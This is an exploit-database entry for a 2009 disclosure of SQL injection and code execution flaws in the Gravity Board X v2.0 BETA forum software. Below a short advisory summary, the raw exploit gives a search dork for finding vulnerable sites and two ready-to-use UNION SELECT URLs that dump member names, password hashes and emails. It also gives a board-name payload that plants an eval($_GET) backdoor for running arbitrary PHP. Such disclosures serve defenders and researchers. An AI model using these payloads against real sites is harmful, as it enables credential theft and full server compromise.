Gravity Board X v2.0 BETA SQL Injection and Code Execution Vulnerability

vendor:

Gravity Board X v2.0 BETA

by:

milw0rm.com

CVSS

HIGH

SQL Injection and Code Execution

CWE

Product Name: Gravity Board X v2.0 BETA

Affected Version From: 2.0 BETA

Affected Version To: 2.0 BETA

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Gravity Board X v2.0 BETA SQL Injection and Code Execution Vulnerability

Gravity Board X v2.0 BETA is prone to an SQL injection vulnerability and a code execution vulnerability. An attacker can exploit these issues to manipulate SQL queries, access or modify data, execute arbitrary code in the context of the webserver process, and gain access to sensitive information. The code execution vulnerability is due to a lack of proper sanitization of user-supplied input in the 'board_name' parameter when creating a new board. An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the webserver process.

Mitigation:

Gravity Board X v2.0 BETA has been discontinued and is no longer supported. It is recommended to upgrade to a more recent version of Gravity Board X.

Source

Exploit-DB raw data:

================================================================================

Found : brain[pillow]
Dork  : "Powered By Gravity Board X v2.0 BETA"
Visit : brainpillow.cc, forum.antichat.ru, raz0r.name
Mail  : brainpillow@gmail.com

================================================================================

        SQL-injections:

/index.php?action=viewprofile&member_id=slider-loleg'+union+select+concat_ws(char(58),displayname,pw,email)+from+gbx_members+where+1='1
/index.php?action=viewboard&board_id=m0nzt3r-loleg-too'+union+select+0,concat_ws(char(58),displayname,pw,email),2+from+gbx_members+where+1='1

================================================================================

        Code exec (in admin panel):

Go:                     /index.php?action=configure
Enter Board Name:       xXx";if(isset($_GET[c]))eval($_GET[c]);#
Go:                     /index.php?ok=phpinfo();

================================================================================

# milw0rm.com [2009-04-03]